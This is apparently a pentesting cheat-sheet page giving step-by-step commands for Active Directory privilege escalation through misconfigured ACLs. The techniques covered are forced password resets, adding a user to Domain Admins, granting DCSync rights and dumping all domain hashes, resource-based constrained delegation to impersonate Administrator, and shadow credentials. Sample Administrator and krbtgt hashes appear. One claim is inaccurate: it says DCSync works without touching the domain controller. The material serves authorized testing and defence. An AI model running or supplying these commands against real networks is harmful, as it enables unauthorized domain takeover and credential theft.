Skip to content
HackIndex logo

HackIndex

ACL Abuse Privilege Escalation

5 min read Jul 10, 2026

ACL-based privilege escalation abuses misconfigured permissions on Active Directory objects to gain control of privileged accounts or groups without exploiting any software vulnerability. Every technique here requires a confirmed writable object found during ACL Enumeration. Verify the right exists before running any modification.

GenericAll and GenericWrite — full object control

GenericAll gives complete control over an object. GenericWrite allows writing any attribute. Both are abused the same way depending on the target object type.

┌──(kali㉿kali)-[~]
└─$ # Confirm the right exists first
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --detail | grep -A3 $TARGET_USER
 
┌──(kali㉿kali)-[~]
└─$ # Set a known password on the target user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # Verify by authenticating as target
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $TARGET_USER -p 'NewPassword123!'
[+] corp.local\targetuser:NewPassword123! (Pwn3d!)
┌──(kali㉿kali)-[~]
└─$ # Add controlled user to Domain Admins
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Domain Admins" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Verify membership
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "Domain Admins" --attr member
 
┌──(kali㉿kali)-[~]
└─$ # Add to other high-value groups
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Enterprise Admins" $USER
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Backup Operators" $USER
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "DNSAdmins" $USER

WriteOwner — take ownership then grant rights

WriteOwner lets you change the owner of an object. Once you own it, you can grant yourself GenericAll and proceed with any other technique.

┌──(kali㉿kali)-[~]
└─$ # Set yourself as owner of target object
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set owner $TARGET_USER $USER
 
┌──(kali㉿kali)-[~]
└─$ # Now grant yourself GenericAll on the object
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add genericAll $TARGET_USER $USER
 
┌──(kali㉿kali)-[~]
└─$ # Proceed with password change or group membership as above
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'

WriteDACL — grant yourself DCSync rights

WriteDACL on the domain object lets you modify the domain ACL directly. Granting yourself DS-Replication rights enables DCSync — dumping all domain hashes without touching the DC.

┌──(kali㉿kali)-[~]
└─$ # Grant DCSync rights to controlled user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER
 
┌──(kali㉿kali)-[~]
└─$ # Verify rights were granted
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --attr nTSecurityDescriptor
 
┌──(kali㉿kali)-[~]
└─$ # Perform DCSync — dump all domain hashes
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc
 
┌──(kali㉿kali)-[~]
└─$ # Clean up after use
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove dcsync $USER
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::

GenericWrite on computer — RBCD setup

GenericWrite on a computer object allows writing msDS-AllowedToActOnBehalfOfOtherIdentity. This sets up Resource-Based Constrained Delegation, letting you impersonate any user including Domain Admin to services on that computer.

┌──(kali㉿kali)-[~]
└─$ # Step 1 — create a machine account you control (requires MAQ > 0)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add computer ATTACKPC$ 'AttackPassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # Step 2 — set RBCD on target computer, delegating to your machine account
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd $TARGET_COMPUTER$ ATTACKPC$
 
┌──(kali㉿kali)-[~]
└─$ # Step 3 — request service ticket as Domain Admin via S4U2Self + S4U2Proxy
┌──(kali㉿kali)-[~]
└─$ impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/'ATTACKPC$':'AttackPassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # Step 4 — use the ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/Administrator@$TARGET_COMPUTER.$DOMAIN -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Cleanup
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove rbcd $TARGET_COMPUTER$ ATTACKPC$
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove computer ATTACKPC$

Shadow Credentials — certificate-based takeover

If you have GenericWrite on a user or computer, you can add a shadow credential — a certificate key pair linked to the target account. Authenticating with the certificate gives you a TGT as that user without knowing their password and without changing anything visible like the password itself.

┌──(kali㉿kali)-[~]
└─$ # Add shadow credential to target — generates a key pair
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add shadowCredentials $TARGET_USER
 
┌──(kali㉿kali)-[~]
└─$ # BloodyAD outputs the certificate path and thumbprint
┌──(kali㉿kali)-[~]
└─$ # Use the certificate to get a TGT (certipy — preferred on modern Kali)
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx /path/to/cert.pfx -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ # Or with gettgtpkinit.py from https://github.com/dirkjanm/PKINITtools
┌──(kali㉿kali)-[~]
└─$ # python3 gettgtpkinit.py -cert-pfx /path/to/cert.pfx $DOMAIN/$TARGET_USER $TARGET_USER.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Or with pywhisker — more complete output
┌──(kali㉿kali)-[~]
└─$ pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $TARGET_USER --action add --dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Use the retrieved TGT
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$TARGET_USER.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -k -no-pass $DOMAIN/$TARGET_USER@$TARGET_IP

Shadow Credentials requires ADCS to be present in the environment — specifically, a DC must have a certificate with a Smart Card Logon EKU. If ADCS is not present, shadow credentials will not work. Use nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M adcs to confirm ADCS is deployed before attempting this technique.

References